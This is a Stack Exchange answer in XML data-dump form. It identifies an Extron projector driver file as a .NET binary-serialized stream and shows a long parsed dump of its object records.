LastActivityDate="2015-01-07T06:25:22.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7974" PostTypeId="2" ParentId="6951" CreationDate="2015-01-08T00:32:06.173" Score="2" Body="&lt;p&gt;The file appears to be a binary-serialized .NET file (similar in concept to a Python pickle or a Java serialized stream), and does not appear to be obfuscated in any way. I manually parsed the first few records using the reference from &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc236844.aspx&quot; rel=&quot;nofollow&quot;&gt;Microsoft's stream format specification&lt;/a&gt;, and the format checks out. The file stores a single object of type &quot;Extron.Configuration.Drivers.DriverFileAsset&quot;, with 18 class members of varying types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guessed this format based on the fact that it contains .NET class library identifiers in the header, then verified the guess by checking the file format spec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hacked together a parser for this format, though it is incomplete. The dump of the file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Binary Serialization Format&#xA;@0&#xA;  SerializedStreamHeader(TopId=1, HeaderId=-1, MajorVersion=1, MinorVersion=0)&#xA;@17&#xA;  BinaryLibrary(LibraryId=2, LibraryName='Extron.Configuration.Drivers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')&#xA;@106&#xA;  BinaryLibrary(LibraryId=3, LibraryName='Extron.Configuration.Core, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')&#xA;@192&#xA;  BinaryLibrary(LibraryId=4, LibraryName='Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null')&#xA;@283&#xA;  BinaryLibrary(LibraryId=5, LibraryName='WindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35')&#xA;@367&#xA;  ClassWithMembersAndTypes LibraryId=2 ObjectId=1 Name=Extron.Configuration.Drivers.DriverFileAsset:&#xA;      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _manifest&#xA;          MemberReference(IdRef=6)&#xA;      Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum _packageState&#xA;          ClassWithMembers LibraryId=4 ObjectId=-7 Name=Extron.Configuration.Contracts.Enumeration.DriverPackageStateEnum:&#xA;              value__ = 0&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=8)&#xA;      System.Version DriverDescriptorAsset+_fileVersion&#xA;          MemberReference(IdRef=9)&#xA;      System.Version DriverDescriptorAsset+_schemaVersion&#xA;          MemberReference(IdRef=10)&#xA;      System.Version DriverDescriptorAsset+_minAPIVersion&#xA;          MemberReference(IdRef=11)&#xA;      String DriverDescriptorAsset+_manufacturerName&#xA;          BinaryObjectString(ObjectId=12, Value='NEC')&#xA;      String DriverDescriptorAsset+_deviceTypeName&#xA;          BinaryObjectString(ObjectId=13, Value='Video Projector')&#xA;      String DriverDescriptorAsset+_filename&#xA;          BinaryObjectString(ObjectId=14, Value='\\\\usa-home10\\home\\wes minner\\programming\\reviews\\nec_1_548 [nec lt280]\\finished\\nec_1_548_v1_0_0.pkp')&#xA;      Int32 DriverDescriptorAsset+_contentHashCode&#xA;          0&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] DriverDescriptorAsset+_internalChildCollection&#xA;          MemberReference(IdRef=8)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=8)&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=16, Value='nec_1_548')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=16)&#xA;      System.Guid AssetBase+_guid&#xA;          SystemClassWithMembers ObjectId=-17 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset&#xA;          ObjectNull()&#xA;@2396&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=6 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=18)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          ObjectNull()&#xA;      String AssetBase+_defaultName&#xA;          ObjectNull()&#xA;      String AssetBase+_name&#xA;          ObjectNull()&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-19 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Contracts.Assets.IAsset AssetBase+_parentAsset&#xA;          ObjectNull()&#xA;@3412&#xA;  ClassWithMembers LibraryId=5 ObjectId=8 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=20)&#xA;      Collection`1+items = MemberReference(IdRef=21)&#xA;@3653&#xA;  SystemClassWithMembers ObjectId=9 Name=System.Version:&#xA;      _Major = 1&#xA;      _Minor = 0&#xA;      _Build = 0&#xA;      _Revision = -1&#xA;@3724&#xA;  ClassWithId ObjectId=10 Name=System.Version:&#xA;      _Major = 1&#xA;      _Minor = 0&#xA;      _Build = 0&#xA;      _Revision = -1&#xA;@3749&#xA;  ClassWithId ObjectId=11 Name=System.Version:&#xA;      _Major = 1&#xA;      _Minor = 0&#xA;      _Build = 0&#xA;      _Revision = -1&#xA;@3774&#xA;  ClassWithMembers LibraryId=5 ObjectId=18 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=22)&#xA;      Collection`1+items = MemberReference(IdRef=23)&#xA;@4023&#xA;  ClassWithMembers LibraryId=5 ObjectId=20 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _busyCount = 0&#xA;@4255&#xA;  SystemClassWithMembers ObjectId=21 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _items = MemberReference(IdRef=24)&#xA;      _size = 6&#xA;      _version = 6&#xA;@4469&#xA;  ClassWithMembers LibraryId=5 ObjectId=22 Name=System.Collections.ObjectModel.ObservableCollection`1+SimpleMonitor[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _busyCount = 0&#xA;@4709&#xA;  SystemClassWithMembers ObjectId=23 Name=System.Collections.Generic.List`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _items = MemberReference(IdRef=25)&#xA;      _size = 2&#xA;      _version = 2&#xA;@4931&#xA;  BinaryArray(ObjectId=24, BinaryArrayTypeEnum=&amp;lt;BinaryArrayType.Single: 0&amp;gt;, Rank=1, Lengths=(8,), LowerBounds=None, TypeEnum=&amp;lt;BinaryType.Class: 4&amp;gt;, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IAsset', LibraryId=4))&#xA;      MemberReference(IdRef=26)&#xA;      MemberReference(IdRef=27)&#xA;      MemberReference(IdRef=28)&#xA;      MemberReference(IdRef=29)&#xA;      MemberReference(IdRef=30)&#xA;      MemberReference(IdRef=31)&#xA;      ObjectNullMultiple256(NullCount=2)&#xA;@5027&#xA;  BinaryArray(ObjectId=25, BinaryArrayTypeEnum=&amp;lt;BinaryArrayType.Single: 0&amp;gt;, Rank=1, Lengths=(4,), LowerBounds=None, TypeEnum=&amp;lt;BinaryType.Class: 4&amp;gt;, AdditionalTypeInfo=ClassTypeInfo(TypeName='Extron.Configuration.Contracts.Assets.IResourceAsset', LibraryId=4))&#xA;      MemberReference(IdRef=32)&#xA;      MemberReference(IdRef=33)&#xA;      ObjectNullMultiple256(NullCount=2)&#xA;@5111&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=26 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:&#xA;      DateTime _date&#xA;          2014-08-01 02:08:28.537000&#xA;      String _author&#xA;          BinaryObjectString(ObjectId=34, Value='ngupta')&#xA;      System.Version _version&#xA;          MemberReference(IdRef=35)&#xA;      String _notes&#xA;          BinaryObjectString(ObjectId=36, Value='')&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=37)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=37)&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=38, Value='Creation')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=38)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-39 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@6090&#xA;  ClassWithId ObjectId=27 Name=Extron.Configuration.Core.Assets.RevisionHistoryAsset:&#xA;      DateTime _date&#xA;          2014-08-01 02:08:28.537000&#xA;      String _author&#xA;          BinaryObjectString(ObjectId=34, Value='ngupta')&#xA;      System.Version _version&#xA;          MemberReference(IdRef=35)&#xA;      String _notes&#xA;          BinaryObjectString(ObjectId=36, Value='')&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=37)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=37)&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=38, Value='Creation')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=38)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-39 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@6195&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=28 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=48)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          ObjectNull()&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=49, Value='DriverCommands')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=49)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-50 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@7264&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=29 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=52)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          ObjectNull()&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=53, Value='SupportedProtocols')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=53)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-54 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@8331&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=30 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=56)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          ObjectNull()&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=57, Value='SupportedModels')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=57)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-58 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@9397&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=31 Name=Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=60)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          ObjectNull()&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=61, Value='DriverParams')&#xA;      String AssetBase+_name&#xA;          MemberReference(IdRef=61)&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-62 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Drivers.DriverFileAsset AssetBase+_parentAsset&#xA;          MemberReference(IdRef=1)&#xA;@10454&#xA;  ClassWithMembersAndTypes LibraryId=3 ObjectId=32 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      String ResourceAssetBase+_key&#xA;          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')&#xA;      Object ResourceAssetBase+_content&#xA;          MemberReference(IdRef=66)&#xA;      Object ResourceAssetBase+_tag&#xA;          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')&#xA;      String AssetBase+_name&#xA;          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-71 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset&#xA;          MemberReference(IdRef=6)&#xA;@11913&#xA;  ClassWithId ObjectId=33 Name=Extron.Configuration.Core.Assets.Resource.StreamResourceAsset:&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] _internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      String ResourceAssetBase+_key&#xA;          BinaryObjectString(ObjectId=65, Value='nec_1_548_v1_0_0.pdf')&#xA;      Object ResourceAssetBase+_content&#xA;          MemberReference(IdRef=66)&#xA;      Object ResourceAssetBase+_tag&#xA;          BinaryObjectString(ObjectId=67, Value='nec_1_548_v1_0_0.pdf')&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] ResourceAssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_internalChildCollection&#xA;          MemberReference(IdRef=64)&#xA;      String AssetBase+_defaultName&#xA;          BinaryObjectString(ObjectId=69, Value='nec_1_548_v1_0_0.pdf')&#xA;      String AssetBase+_name&#xA;          BinaryObjectString(ObjectId=70, Value='nec_1_548_v1_0_0.pdf')&#xA;      System.Guid AssetBase+_guid&#xA;          ClassWithId ObjectId=-71 Name=System.Guid:&#xA;              _a = 2458436383&#xA;              _b = 50071&#xA;              _c = 18042&#xA;              _d = 169&#xA;              _e = 134&#xA;              _f = 255&#xA;              _g = 167&#xA;              _h = 142&#xA;              _i = 29&#xA;              _j = 19&#xA;              _k = 168&#xA;      System.Nullable`1[[System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] AssetBase+_maxChildCount&#xA;          ObjectNull()&#xA;      Boolean AssetBase+_disableChildAssetParenting&#xA;          False&#xA;      Extron.Configuration.Core.Assets.AssetBase`1[[Extron.Configuration.Contracts.Assets.IResourceAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] AssetBase+_parentAsset&#xA;          MemberReference(IdRef=6)&#xA;@12046&#xA;  ClassWithId ObjectId=35 Name=System.Version:&#xA;      _Major = 1&#xA;      _Minor = 0&#xA;      _Build = 0&#xA;      _Revision = -1&#xA;@12071&#xA;  ClassWithId ObjectId=37 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=20)&#xA;      Collection`1+items = MemberReference(IdRef=21)&#xA;@12090&#xA;  ClassWithId ObjectId=42 Name=System.Version:&#xA;      _Major = 1&#xA;      _Minor = 0&#xA;      _Build = 0&#xA;      _Revision = -1&#xA;@12115&#xA;  ClassWithId ObjectId=44 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=20)&#xA;      Collection`1+items = MemberReference(IdRef=21)&#xA;@12134&#xA;  ClassWithMembers LibraryId=5 ObjectId=48 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverCommandAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=86)&#xA;      Collection`1+items = MemberReference(IdRef=87)&#xA;@12396&#xA;  ClassWithMembers LibraryId=5 ObjectId=52 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Protocols.IProtocolAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=88)&#xA;      Collection`1+items = MemberReference(IdRef=89)&#xA;@12655&#xA;  ClassWithMembers LibraryId=5 ObjectId=56 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Drivers.IDriverModelAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=90)&#xA;      Collection`1+items = MemberReference(IdRef=91)&#xA;@12915&#xA;  ClassWithMembers LibraryId=5 ObjectId=60 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.Automation.IParamAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=92)&#xA;      Collection`1+items = MemberReference(IdRef=93)&#xA;@13172&#xA;  ClassWithId ObjectId=64 Name=System.Collections.ObjectModel.ObservableCollection`1[[Extron.Configuration.Contracts.Assets.IAsset, Extron.Configuration.Contracts, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]:&#xA;      _monitor = MemberReference(IdRef=20)&#xA;      Collection`1+items = MemberReference(IdRef=21)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may be able to load the file using some .NET functions, if you first import the driver's libraries. Otherwise, you can use the spec (which is very easy to read) to disassemble the file and extract the contents you want.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you noted, there are more files nested inside. Therefore your first step should be to parse the serialized stream to extract everything, then parse the contents of each class member (some of which are complete files, like the PDF and PKP files).&lt;/p&gt;&#xA;" OwnerUserId="1328" LastEditorUserId="1328" LastEditDate="2015-01-08T04:05:25.670" LastActivityDate="2015-01-08T04:05:25.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
